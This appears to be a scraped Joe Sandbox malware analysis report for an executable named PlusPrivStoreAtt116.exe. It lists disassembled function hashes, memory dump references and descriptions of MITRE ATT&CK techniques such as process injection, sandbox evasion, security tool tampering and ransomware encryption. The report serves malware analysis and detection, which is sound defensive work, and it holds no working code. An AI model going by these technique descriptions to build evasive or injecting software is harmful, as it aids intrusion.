API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 5abc08f8efcdf07fb6a3fff450b6aa11847ea7856984884628bec1e59b2a9258
Instruction ID: ffe3f0b05fc86e7e022e954361eda5c2fe27c69bbbdfb656675694840e12c9d2
Opcode Fuzzy Hash: 5abc08f8efcdf07fb6a3fff450b6aa11847ea7856984884628bec1e59b2a9258
Instruction Fuzzy Hash: 44118231B08B5282E760CB2AF45012AAAA0FF88BD8F184535EF8D87B59DF7CD5809700

Function 00007FF6029BC510 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6067
Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6073

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC546
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC556
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BC564
memset.VCRUNTIME140 ref: 00007FF6029BC59F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$memset
String ID:
API String ID: 2717317152-0
Opcode ID: b476d781683bd605753166caffe2319fbc1c98f8906f10cc98198184c3fa0d6f
Instruction ID: 76ca8d59752262dcc5323c056891bddf2c35cb5f665a82a8e29fa70f40c23477
Opcode Fuzzy Hash: b476d781683bd605753166caffe2319fbc1c98f8906f10cc98198184c3fa0d6f
Instruction Fuzzy Hash: 5F21E932E18B91A3E715CB22D6903A96764FB99744F119226EB9D43A52DFB4F1F1C300

Function 00007FF6029FB720 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029DD5A3), ref: 00007FF6029FE6B6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029DD5A3), ref: 00007FF6029FE6D5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029DD5A3), ref: 00007FF6029FE6EF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029DD5A3), ref: 00007FF6029FE6FD

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cceb363f3383bb9859af09066e7c5d0c6a7185a683f001f5595319a996bee7d
Instruction ID: f47a32b64cc84ba8b8556bccc23b4e9f6a01236c48e31938c64bd9e2b1bf6818
Opcode Fuzzy Hash: 0cceb363f3383bb9859af09066e7c5d0c6a7185a683f001f5595319a996bee7d
Instruction Fuzzy Hash: E411FB36A08A4682EB94DF26E5A033E67A5FF94F98F244431DA5E82765CF7CD890C300

Function 00007FF6029E3510 Relevance: 5.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E3548
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E356E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E358A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E359E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b3c3805f82caad35ddc01d018df6cc76f4a284c910c5e9ee53ad49d6aa0b3735
Instruction ID: d0ba0cf554bf3d1f4c5d3097f2511bfa083794a7aadb2151710b8e427f4584e3
Opcode Fuzzy Hash: b3c3805f82caad35ddc01d018df6cc76f4a284c910c5e9ee53ad49d6aa0b3735
Instruction Fuzzy Hash: D911F536604B81C6DB50CF26E59036977A4FB84F98F684036DE8E97728CF78E8A5C750

Function 00007FF6029F5150 Relevance: 5.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F124E), ref: 00007FF6029F5176
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F124E), ref: 00007FF6029F5197
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F124E), ref: 00007FF6029F51B2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F124E), ref: 00007FF6029F51C0

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5c8853aa7cfb41fb736cb08fd9c58292c725a3a828156dd37d5180451661d39c
Instruction ID: 3cc57ef8a32b8d7383dbad1435b805eaf6b54208e31e96071a1dcd547e7f3efc
Opcode Fuzzy Hash: 5c8853aa7cfb41fb736cb08fd9c58292c725a3a828156dd37d5180451661d39c
Instruction Fuzzy Hash: 6211B736A04B4682EB54DF26E99012D77B9FF94F997200436CE5D83768CF78D891C380

Function 00007FF6029F2AF0 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C8D15,?,?,00000000,00007FF6029C19D1,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029F2B00
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C8D15,?,?,00000000,00007FF6029C19D1,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029F2B26
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C8D15,?,?,00000000,00007FF6029C19D1,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029F2B34
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C8D15,?,?,00000000,00007FF6029C19D1,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029F2B42

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0ca5987a86bd8772b3c6def7f7db8b85989afe65d4c00123de1d083a15ff9c08
Instruction ID: 8ad2aae5bbc963069917e6f61790e9064d64b27ad39843ea8fc147d4c9f23b0b
Opcode Fuzzy Hash: 0ca5987a86bd8772b3c6def7f7db8b85989afe65d4c00123de1d083a15ff9c08
Instruction Fuzzy Hash: 50F0E776604B02C2DB14CF22E9A412977B4FF98F987214532CEAE83768CF78C8A5C340

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PlusPrivStoreAtt116.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
PlusPrivStoreAtt116.exe

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre